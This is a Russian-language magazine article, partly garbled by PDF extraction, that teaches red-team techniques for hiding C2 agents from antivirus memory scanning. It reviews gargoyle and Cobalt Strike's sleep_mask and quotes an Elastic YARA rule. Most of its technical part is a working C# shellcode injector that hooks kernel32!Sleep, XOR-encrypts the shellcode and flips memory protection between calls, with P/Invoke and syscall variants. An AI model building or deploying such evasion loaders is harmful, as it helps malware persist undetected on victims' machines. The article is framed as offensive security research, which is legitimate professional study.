|||||||||||||||||||||||||||||||||||||||||||
все же получил, закрипто |
вав нагрузку |
мильён раз), проживет |
в лучшем |
случае |
|||||||||||||||||||||||||||||||||||||||
не больше часа. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Всему виной банальное |
|
сканиро |
вание |
памяти запущенных |
процес сов |
||||||||||||||||||||||||||||||||||||||
антивиру |
сами |
, которое выполняет |
ся по расписанию |
с целью поиска сиг |
|||||||||||||||||||||||||||||||||||||||
натуры известных |
зловредов |
. Еще раз: получить |
агент с активным AV (и даже |
||||||||||||||||||||||||||||||||||||||||
немного |
из него поработать ) нетрудно |
; сделать |
так, чтобы этот агент прожил |
||||||||||||||||||||||||||||||||||||||||
хотя бы сутки на машине жертве , бесценно |
уже сложнее , потому что, |
||||||||||||||||||||||||||||||||||||||||||
как бы |
|
ты |
|
|
ни |
криптовал |
|
и |
ни |
энкодил |
бинарь, |
PowerShell-стейжер |
|||||||||||||||||||||||||||||||
или шелл код агента , вредонос |
ные |
инструк ции |
все равно окажут ся в памяти |
||||||||||||||||||||||||||||||||||||||||
в открытом |
виде, из за чего станут легкой |
добычей для простого |
сигнатур |
|
|||||||||||||||||||||||||||||||||||||||
ного сканера |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Если тебя спалят с вредоно сом в системной памяти, который не подкреп лен подозритель ным бинарем на диске (например , когда имела место инъекция шелл кода в процесс ), тот же Kaspersky Endpoint Security при дефолтных нас тройках не определит , какой именно процесс заражен, и в качестве решения настой чиво предложит тебе перезагрузить машину.
Да да, мы поняли
Такое поведение вызывает еще большее негодование у пентесте ра , потому что испуган ный пользователь сразу побежит жаловаться в IT или к безопас никам.
Есть два пути решить эту проблему .
1.Исполь зовать C2-фреймвор ки, которые еще не успели намозолить глаза блютиме рам и чьи агенты еще не попали в список легкодетек тируемых. Другими словами , писать свое, искать малопопуляр ные решения на гит хабе с учетом региональ ных особен ностей AV, который ты собрался бай пасить, и тому подобное .
2.Прибег нуть к продвинутым техникам сокрытия индикато ров компро мета ции после запуска агента C2. Например , подчищать аномалии памяти пос ле запуска потоков, использовать связку «неисполня емая память + ROPгаджеты » для размещения агента и его функци онирования, шифровать нагрузку в памяти, когда взаимо действие с агентом не требует ся.
Вэтой статье мы на примере посмотрим , как вооружить простой PoC флук туирующего шелл кода (комбинация пунктов из абзаца выше) для его исполь
зования с почти любым опенсор сным фреймвор ком C2. Но для начала небольшой экскурс в историю .
A LONG TIME AGO IN A GALAXY FAR, FAR AWAY...
Флипы памяти RX → RW / NA
Первым опенсор сным проектом , предлага ющим PoC-решение для уклонения от сканиро вания памяти, о котором я узнал, был gargoyle.
Если не углубляться в реализацию , его главная идея заключа ется в том, что полезная нагрузка (исполняемый код) размеща ется в неисполня емой области памяти (PAGE_READWRITE или PAGE_NOACCESS), которую не станет сканиро вать антивирус или EDR. Предваритель но загрузчик gargoyle фор мирует специаль ный ROP-гаджет , который выстре лит по таймеру и изменит стек вызовов таким образом , чтобы верхушка стека оказалась на API-хендле VirtualProtectEx, — это позволит нам изменить маркиров ку защиты памяти на PAGE_EXECUTE_READ (то есть сделать память исполняемой ). Дальше полезная нагрузка отработа ет , снова передаст управление загрузчи ку gargoyle, и процесс повторит ся .
Механизм работы gargoyle (изображение — lospi.net)
Принцип работы gargoyle много раз дополнили , улучшили и «переизоб рели ». Вот несколь ко при меров:
•Bypassing Memory Scanners with Cobalt Strike and Gargoyle
•Bypassing PESieve and Moneta (The “easy” way....?)
•A variant of Gargoyle for x64 to hide memory artifacts using ROP only and PIC
Также интерес ный подход продемонс трировали в F-Secure Labs, реализовав расширение Ninjasploit для Meterpreter, которое по косвенным признакам определя ет, что Windows Defender вот вот запустит процеду ру сканиро вания, и тогда «флипает » область памяти с агентом на неисполня емую прямо перед этим. Сейчас , скорее всего , это расширение уже не «взлетит », так как и Meterpreter, и «Дефендер » обновились не по одному разу, но идея все равно показатель на.
Из этого пункта мы заберем с собой главную идею: изменение маркиров ки защиты памяти помогает скрыть факт ее заражения .
Вот что на самом деле происхо дит под капотом этой техники
Cobalt Strike: Obfuscate and Sleep
В далеком 2018 году вышла версия 3.12 культовой C2-платформы Cobalt
Strike. Релиз назывался «Blink and you’ll miss it», что как бы намекает на глав
ную фичу новой версии — директиву |
sleep_mask, в которой реализова |
на кон |
|||||||||||
цепция obfuscate-and-sleep. |
|
|
|
|
|
|
|
|
|
|
|||
Эта концепция |
включает |
в себя следующий |
алгоритм |
поведения бикона: |
|||||||||
1. Если маячок «спит», то есть бездей |
ству ет , выполняя |
kernel32!Sleep |
|||||||||||
и ожидая команды от операто |
ра , содержимое |
исполняемо го (RWX) сег |
|||||||||||
мента памяти полезной нагрузки |
обфусцирует ся . Это мешает сигнатур |
ным |
|||||||||||
сканерам |
распознать |
в |
нем |
Behavior:Win32/CobaltStrike |
|||||||||
или похожую бяку. |
|
|
|
|
|
|
|
|
|
|
|
2.Если маячку поступа ет на исполнение следующая команда из очереди , содержимое исполняемо го сегмента памяти полезной нагрузки деоб фусцирует ся, команда выполняет ся, и подозритель ное содержимое маяка обратно обфусцирует ся, превраща ясь в неразборчи вый цифровой мусор на радость операто ру «Кобы» и назло бдящему антивиру су.
Эти действия проходят прозрачно для операто ра, а процесс обфускации представ ляет собой обычный XOR по исполняемой области памяти с фик сированным размером ключа 13 байт (для версий CS от 3.12 до 4.3).
Продемонс трируем это на примере . Я возьму этот профиль для CS, написанный @an0n_r0 как PoC минимально необходимо го профиля Malleable C2 для обхода «Дефендера ». Опция set sleep_mask "true" активиру ет процесс obfuscate-and-sleep.
Получи ли маячок
Далее с помощью Process Hacker найдем в бинаре «Кобы» сегмент RWXпамяти (при заданных настрой ках профиля он будет один) и посмотрим его содержимое .
Цифровой мусор или?..
На первый взгляд, и правда , выглядит как ничего не значащий набор байтов . Но если установить интерак тивный режим маячка командой sleep 0 и «пок лацать» несколь ко раз на Re-read в PH, нам откроется истина .
Маски прочь!
Деобфусци рован ная нагрузка маячка
Возможно , это содержимое все еще не очень информатив но (сама нагрузка чуть дальше в памяти стаба ), но, если пересоздать бикон без использования профиля , можно увидеть сердце маячка в чистом виде.
PURE EVIL
Однако на любое действие есть противо дей ствие (или наоборот ), поэтому люди из Elastic, недолго думая, запили ли YARA-правило для обнаруже ния повторя ющих ся паттернов , «заксорен ных » на одном и том же ключе :
rule cobaltstrike_beacon_4_2_decrypt
{
meta:
author = "Elastic"
description = "Identifies deobfuscation routine used in Cobalt
Strike Beacon DLL version 4.2."
strings:
$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9
75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85
C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
condition:
any of them
}
В следующих актах этой оперы началась классичес кая игра в кошки мышки между нападающи ми и защищающи мися . В HelpSystems выпус тили отдель ный Sleep Mask Kit для того, чтобы оператор мог изменять длину маски самостоятель но , но это уже совсем другая история .
В статье Sleeping with a Mask On можно увидеть , как модификация длины ключа XOR влияет на детектирова ние пейлоада CS в памяти.
Но довольно истории , |
пора подумать, как сделать |
эту технику |
«ближе |
||
к народу», и реализовать |
подобное в опенсор сном |
инстру мен тарии |
. |
|
Продолжение статьи0 →
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
o m |
COVERSTORY |
|||||||
to |
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
|
|
|
|
|
.c |
|
|||
|
|
. |
|
|
|
|
|
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ
ФЛУКТУАЦИЯ ШЕЛЛ-КОДА НА GITHUB |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
Два невероятно |
крутых проекта |
на просторах |
GitHub, которые еще давно |
||||||||||||||||||||||||||||
привлекли |
мое внимание |
, — это SleepyCrypt авторства @SolomonSklash (идет |
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
вместе с пояснитель |
ной |
запиской ) и ShellcodeFluctuation, созданный |
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|||||||||||||||||||||||||
@mariuszbit, у которого я позаимс тво вал название |
для этой статьи. Ни в коем |
||||||||||||||||||||||||||||||
|
|
|
|
||||||||||||||||||||||||||||
случае |
не претен дую |
на авторство , просто мне кажется , что слова «флук |
|||||||||||||||||||||||||||||
туирующий шелл код» отлично годятся для наименова |
ния |
этого семейства |
|||||||||||||||||||||||||||||
техник в целом. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
SleepyCrypt — это PoC, который можно вооружить |
при создании |
собствен |
|||||||||||||||||||||||||||||
ного C2-фреймвор |
ка (на выходе имеем позиционно |
независимый |
шелл код, |
||||||||||||||||||||||||||||
сам себя шифрующий |
и расшифро |
выва |
ющий |
), |
а ShellcodeFluctuation |
— |
|||||||||||||||||||||||||
«самодостаточ |
ный » инжектор, который можно использовать |
с готовым |
|||||||||||||||||||||||||||||
шелл кодом существу юще |
го C2. К последне |
му |
мы будем |
стремить |
ся |
||||||||||||||||||||||||||
при написании |
чего то подобного |
на С#, а пока разберем |
, как устроен |
||||||||||||||||||||||||||||
ShellcodeFluctuation. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ShellcodeFluctuation
Самое важное для нас — понять, как реализует ся перехват управления обыч ным Sleep (который kernel32!Sleep) и переопре деляется его поведение
на «шифровать , поспать , расшифро вать ». Как ты уже мог понять, мы будем говорить об основах техники Inline API Hooking (MITRE ATT&CK T1617).
Хороший базовый пример реализации хукинга (как и многих других техник малдева ) есть на Red Teaming Experiments, но мы разберем упрощен ный при мер на основе самого ShellcodeFluctuation, чтобы быть готовым к его пор тированию на C#. Вместо Sleep пока будем хукать функцию kernel32! MessageBoxA для более наглядной демонстра ции результата .
В сущности , нас интересу ют две функции , ответствен ные за перехват
MessageBoxA.
fastTrampoline
Функция fastTrampoline выполняет запись ассемблер ных инструк ций (име нуемых «трампли ном ») по адресу расположе ния функции MessageBoxA биб лиотеки kernel32.dll. Она уже загружена в память целевого процес са , куда будет внедрен шелл код (в нашем случае мы ориенти руем ся на self-инъ екцию, поэтому патчить kernel32.dll будем в текущем процес се ). При установ ке хука инжектор перезаписы вает начало инструк ций MessageBoxA трампли ном, содержащим безусловный «джамп» на нашу собствен ную реализацию MessageBoxA (MyMessageBoxA). Во время снятия хука (за это тоже ответствен на функция fastTrampoline) трамплин перезаписы вает ся оригиналь ными байтами из начала функции MessageBoxA, которые предваритель но были сох ранены во времен ный буфер.
Содер жимое трампли на — это две простые ассемблер ные инструк ции (записать адрес переопре деленной функции в регистр и выполнить jmp), ассембли рованные в машинный код и записанные в массив байтов в фор
мате little-endian.
Резуль тат сборки с defuse.ca:
0
{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 0x41, 0xFF, 0xE2 }
0
Disassembly:
0
0:49 ba 37 13 d3 c0 4d movabs r10,0x1337d34dc0d313370
7:d3 37 130
a: 41 ff e2 |
jmp |
r10 |
0 |
|
|
Авот и сам код:
//https://github.com/mgeeky/ShellcodeFluctuation/blob/
cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main. cpp#L178-L262
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
{
//Шаблон нашего трамплина с 8 нулевыми байтами, выполняющими роль заглушки под джамп-адрес
uint8_t trampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
//mov r10, addr
0x41, 0xFF, 0xE2
// jmp r10
};
// Патчим трамплин байтами джамп-адреса
uint64_t addr = (uint64_t)(jumpAddress);
memcpy(&trampoline[2], &addr, sizeof(addr));
DWORD dwSize = sizeof(trampoline);
DWORD oldProt = 0;
bool output = false;
if (installHook) // если в режиме установки хука
{
if (buffers != NULL)
// Сохраняем во временный буфер то, что мы собираемся
перезаписать трамплином
memcpy(buffers->previousBytes, addressToHook, buffers->
previousBytesSize);
// Разрешаем себе изменять память по addressToHook
if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt))
{
//Устанавливаем наш хук (просто копируем его содержимое
внужное место)
memcpy(addressToHook, trampoline, dwSize);
output = true;
}
}
else // если в режиме снятия хука
{
dwSize = buffers->originalBytesSize;
// Также разрешаем себе изменять память по addressToHook
if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt))
{
// Восстанавливаем то, что было там изначально (до
записи трамплина)
memcpy(addressToHook, buffers->originalBytes, dwSize);
output = true;
}
}
// Возвращаем маркировку защиты памяти в первоначальное состояние
::VirtualProtect(
addressToHook,
dwSize,
oldProt,
&oldProt
);
return output;
}
MyMessageBoxA
MyMessageBoxA — наша функция , переопре деляющая поведение оригиналь ного MessageBoxA, адрес которой будет записан в шаблон трампли на и на которую мы «прыгнем » при легитимном вызове MessageBoxA.
Вкачестве демонстра ции мы вызовем MessageBoxA с одним сообщени ем,
амодальное окно отрисует совсем другое .
//https://github.com/mgeeky/ShellcodeFluctuation/blob/
cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main. cpp#L11-L65
void WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
HookTrampolineBuffers buffers = { 0 }; buffers.originalBytes = g_hookedMessageBoxA.msgboxStub;
buffers.originalBytesSize = sizeof(g_hookedMessageBoxA.msgboxStub
);
//Снимаем хук, чтобы далее вызвать оригинальную функцию
MessageBoxA
fastTrampoline(false, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA , &buffers);
::MessageBoxA(NULL, "You've been pwned!", "][AKEP", MB_OK);
// Снова вешаем хук
fastTrampoline(true, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA,
NULL);
}
Результат
Полагаю , что здесь все ясно без лишних объясне ний.
API Hooking функции MessageBoxA
ПИЛИМ СВОЙ ФЛУКТУАТОР НА С#
Идея реализации этой техники на C# пришла ко мне после твита
@_RastaMouse, где он использовал библиоте ку MinHook.NET для PoC-флук
туатора .
PoC от @_RastaMouse (изображение — twitter.com)
Что ж, мы можем попробовать сделать что то подобное , но без тяжеловес ной зависимос ти в виде MinHook.NET, которую не хотелось бы включать
в инжектор. Так как я планирую запускать финальный код из памяти через PowerShell, лишнее беспокой ство AMSI вызывать ни к чему.
Объяснять , как ты писал код, в тексте статьи всегда непросто , поэтому поступим так: сперва наметим такой же каркас программы , как на скриншоте выше, а затем реализуем недостающую логику.
Прототипирование
Итак, вот что я получил в качестве схематич ного наброска кода:
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace FluctuateInjector
{
class Program
{
// Классическая инъекция шелл-кода в текущий процесс
static void Main(string[] args)
{
var shellcodeBytes = File.ReadAllBytes(@"C:\Users\
snovvcrash\Desktop\dllSleep.bin");
var shellcodeLength = shellcodeBytes.Length;
// Выделяем область памяти в адресном пространстве
текущего процесса инжектора (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40
= PAGE_EXECUTE_READWRITE)
var shellcodeAddress = Win32.VirtualAlloc(IntPtr.Zero, (
IntPtr)shellcodeLength, 0x3000, 0x04);
// и копируем туда байты шелл-кода
Marshal.Copy(shellcodeBytes, 0, shellcodeAddress,
shellcodeLength);
// Репротект памяти после записи шелл-кода (0x20 =
PAGE_EXECUTE_READ)
Win32.VirtualProtect(shellcodeAddress, (uint)
shellcodeLength, 0x20, out _);
// Хукаем Sleep
var fs = new FluctuateShellcode(shellcodeAddress,
shellcodeLength);
fs.EnableHook();
// Начинаем исполнение шелл-кода созданием нового потока
var hThread = Win32.CreateThread(IntPtr.Zero, 0,
shellcodeAddress, IntPtr.Zero, 0, IntPtr.Zero);
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
// Снимаем хук
fs.DisableHook();
}
}
class FluctuateShellcode
{
delegate void Sleep(uint dwMilliseconds);
readonly Sleep sleepOrig;
readonly GCHandle gchSleepDetour;
readonly IntPtr sleepOriginAddress, sleepDetourAddress;
readonly byte[] sleepOriginBytes = new byte[16],
sleepDetourBytes;
readonly byte[] trampoline =
{
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, // mov r10, addr
0x41, 0xFF, 0xE2
// jmp r10
};
readonly IntPtr shellcodeAddress;
readonly int shellcodeLength;
readonly byte[] xorKey;
public FluctuateShellcode(IntPtr shellcodeAddr, int
shellcodeLen)
{ }
~FluctuateShellcode()
{ }
// Наш переопределенный Sleep
void SleepDetour(uint dwMilliseconds)
{ }
// Установка хука
public bool EnableHook()
{ }
// Снятие хука
public bool DisableHook()
{ }
//Функция, отвечающая за флипы памяти на RW/NA void ProtectMemory(uint newProtect)
{ }
//Обфускация памяти шелл-кода простым XOR-шифрованием void XorMemory()
{ }
//Генерация ключа для XOR-шифрования
byte[] GenerateXorKey()
{ }
}
// Необходимый набор Win32 API
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
IntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress,
uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr
hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule,
string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32.dll")]
public static extern bool FlushInstructionCache(IntPtr
hProcess, IntPtr lpBaseAddress, uint dwSize);
}
}
Вроде пока все более менее прозрачно |
. Единствен |
ное , что надо уточнить |
, — |
||||||||||
это какой шелл код мы возьмем |
для тестирова |
ния . |
|
|
|
|
|
||||||
Все просто : скомпилиру |
ем |
DLL из дефолтных |
пресетов |
Visual Studio |
|||||||||
с единствен |
ной |
выполняемой |
операци |
ей — Sleep на 5 с — и превратим |
ее |
||||||||
в шелл код. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
sRDI |
(Shellcode |
Refective DLL |
Injection) — |
|||||||
|
логическое |
продол жение |
техник |
RDI и Improved |
|||||||
|
RDI, позволя |
ющее |
генерировать |
позиционно |
|||||||
|
независимый |
шелл код из библиоте |
ки DLL: |
||||||||
|
•sRDI — Shellcode Refective DLL Injection — |
||||||||||
|
|
NetSPI |
|
|
|
|
|
|
|
|
|
|
•monoxgas/sRDI: |
|
Shellcode |
implementation |
|||||||
|
|
of |
Refective |
DLL |
Injection. |
Convert DLLs |
to position independent shellcode
Для этого понадобит ся код самой DLL:
// dllSleep.cpp
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
while (TRUE) { Sleep(5000); }
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
И генера тор шелл кода из DLL:
0
PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ShellcodeRDI.py -o ShellcodeRDI.py0
PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ConvertToShellcode.py -o ConvertToShellcode.py0
PS > python ConvertToShellcode.py -i dllSleep.dll0 Creating Shellcode: dllSleep.bin
0
Шелл код для тестов у нас готов. Не переживай , как только закончим с инжектором , протес тим все на боевом C2.
Реализация
Каркас инжектора есть, дело за малым — наполнить методы класса FluctuateShellcode смысловой нагрузкой . Будем идти по нашей «рыбе» снизу вверх.
FluctuateShellcode.GenerateXorKey
Здесь все очевид но — сгенери руем последова тельность байтов , которая будет накладывать ся на байты шелл кода как шифрующая гамма . Помня о несовершенс тве первой версии техники Obfuscate and Sleep в Cobalt Strike, из за которой присутс твие бикона можно было распознать YARA-правилом , основыва ясь на длине повторя ющегося ключа , я реализую шифрование XOR в режиме одноразо вого блокнота . В этом случае размер ключа равен раз меру шифротек ста, то есть длине шелл кода (благо шелл коды обычно небольшие , поэтому «лагов» и «фризов » быть не должно ).
byte[] GenerateXorKey()
{
Random rnd = new Random();
byte[] xorKey = new byte[shellcodeLength];
rnd.NextBytes(xorKey);
return xorKey;
}
FluctuateShellcode.XorMemory
Пока тоже вроде нетрудно : накладыва ем шифрующую гамму на сегмент памяти, содержащий байты шелл кода.
void XorMemory()
{
byte[] data = new byte[shellcodeLength];
Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);
for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
Marshal.Copy(data, 0, shellcodeAddress, data.Length);
}
FluctuateShellcode.ProtectMemory
В реализации этой функции выбор остается за читателем : либо используй VirtualProtect из Win32 API с помощью P/Invoke, либо если хочешь быть самым крутым хакером используй D/Invoke и системные вызовы, как мы делали это, когда модернизиро вали KeeThief.
Пример с P/Invoke:
void ProtectMemory(uint newProtect)
{
if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength,
newProtect, out _))
Console.WriteLine("(FluctuateShellcode) [DEBUG]
Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.
ToInt64()) + $" to {newProtect}");
else
throw new Exception("(FluctuateShellcode) [-] VirtualProtect"
);
}
Пример с D/Invoke:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate DoItDynamicallyBabe.Native.NTSTATUS NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
uint NewProtect,
ref uint OldProtect);
void ProtectMemory(uint newProtect)
{
IntPtr stub = GetSyscallStub("NtProtectVirtualMemory");
NtProtectVirtualMemory ntProtectVirtualMemory = (
NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub,
typeof(NtProtectVirtualMemory));
IntPtr protectAddress = shellcodeAddress;
IntPtr regionSize = (IntPtr)shellcodeLength;
uint oldProtect = 0;
var result = ntProtectVirtualMemory(
Process.GetCurrentProcess().Handle,
ref protectAddress,
ref regionSize,
newProtect,
ref oldProtect);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(FluctuateShellcode) [DEBUG]
Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.
ToInt64()) + $" to {newProtect}");
else
throw new Exception($"(FluctuateShellcode) [-]
NtProtectVirtualMemory: {ntstatus}");
}
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ
FluctuateShellcode.DisableHook
Функция снятия хука — то есть перезапись трампли на содержимым ори гинального Sleep, которое мы бережно храним в поле sleepOriginBytes. И снова можно использовать P/Invoke или более модный D/Invoke для работы с API.
public bool DisableHook()
{
bool unhooked = false;
if (Win32.VirtualProtect(
sleepOriginAddress,
(uint)sleepOriginBytes.Length,
0x40, // 0x40 = PAGE_EXECUTE_READWRITE
out uint oldProtect))
{
Marshal.Copy(sleepOriginBytes, 0, sleepOriginAddress,
sleepOriginBytes.Length);
unhooked = true;
}
bool flushed = false;
if (Win32.FlushInstructionCache(
Process.GetCurrentProcess().Handle,
sleepOriginAddress,
(uint)sleepOriginBytes.Length))
{
flushed = true;
}
Win32.VirtualProtect(
sleepOriginAddress,
(uint)sleepOriginBytes.Length,
oldProtect,
out _);
return unhooked && flushed;
}
Если мы изменяем код, уже загружен ный
впамять, Microsoft говорит, что мы должны использовать функцию FlushInstructionCache, —
впротив ном случае кеш ЦП может помешать ОС увидеть изменения .
FluctuateShellcode.EnableHook
То же самое, что и DisableHook, только в этот раз мы перезаписы ваем исходный Sleep трампли ном:
public bool EnableHook()
{
bool hooked = false;
if (Win32.VirtualProtect(
sleepOriginAddress,
(uint)trampoline.Length,
0x40, // 0x40 = PAGE_EXECUTE_READWRITE
out uint oldProtect))
{
Marshal.Copy(trampoline, 0, sleepOriginAddress, trampoline.
Length);
hooked = true;
}
bool flushed = false;
if (Win32.FlushInstructionCache(
Process.GetCurrentProcess().Handle,
sleepOriginAddress,
(uint)trampoline.Length))
{
flushed = true;
}
Win32.VirtualProtect(
sleepOriginAddress,
(uint)trampoline.Length,
oldProtect,
out _);
return hooked && flushed;
}
FluctuateShellcode.SleepDetour
Сердце нашей флуктуации — изменен ная функция Sleep, которая будет перехватывать управление в момент «засыпания » агента . По содержимому тела функции понятно , что она делает .
void SleepDetour(uint dwMilliseconds)
{
DisableHook();
ProtectMemory(0x04); // 0x04 = PAGE_READWRITE
XorMemory();
sleepOrig(dwMilliseconds);
XorMemory();
ProtectMemory(0x20); // 0x20 = PAGE_EXECUTE_READ
EnableHook();
}
Конструктор и деструктор
Так как мы решили пользовать ся преиму щес тва ми ООП в C#, в конструк торе
мы реализуем вычисление необходимых адресов и содержимого , находя щегося по этим адресам :
public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)
{
// Получаем адрес оригинальной функции Sleep
sleepOriginAddress = Win32.GetProcAddress(Win32.LoadLibrary(
"kernel32.dll"), "Sleep");
//Инициализируем делегат для возможности обращаться к этой функции по ее адресу
sleepOrig = (Sleep)Marshal.GetDelegateForFunctionPointer( sleepOriginAddress, typeof(Sleep));
//Бэкапим первые 16 байт оригинальной функции Sleep Marshal.Copy(sleepOriginAddress, sleepOriginBytes, 0, 16);
//Получаем адрес метода SleepDetour, которым будет пропатчен шаблон трамплина
var sleepDetour = new Sleep(SleepDetour); sleepDetourAddress = Marshal.GetFunctionPointerForDelegate(
sleepDetour);
